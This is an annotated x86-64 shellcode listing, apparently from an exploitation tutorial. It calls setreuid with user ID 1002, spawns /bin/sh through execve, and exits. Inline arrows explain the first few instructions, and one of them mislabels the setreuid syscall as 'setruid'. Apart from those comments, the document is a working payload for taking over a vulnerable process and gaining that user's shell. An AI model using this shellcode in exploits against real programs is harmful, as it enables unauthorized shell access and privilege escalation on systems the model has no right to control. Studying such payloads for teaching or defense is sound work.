xor    rdi,rdi            <------ set the rdi to 0
xor    rax,rax      
xor    rsi, rsi         <------ set the rsi to 0
mov    si, 1002         <------ put the value 1002 in the lower bits of the rsi
mov    di, 1002         <------ put the value 1002 in the lower bits of the rdi
mov    al,0x71          <------ put the setruid function in the al register      
syscall                 <------ call the function.
xor    rdx,rdx
movabs rbx,0x68732f6e69622fff
shr    rbx,0x8
push   rbx
mov    rdi,rsp
xor    rax,rax
push   rax
push   rdi
mov    rsi,rsp
mov    al,0x3b
syscall
push   0x1
pop    rdi
push   0x3c
pop    rax
syscall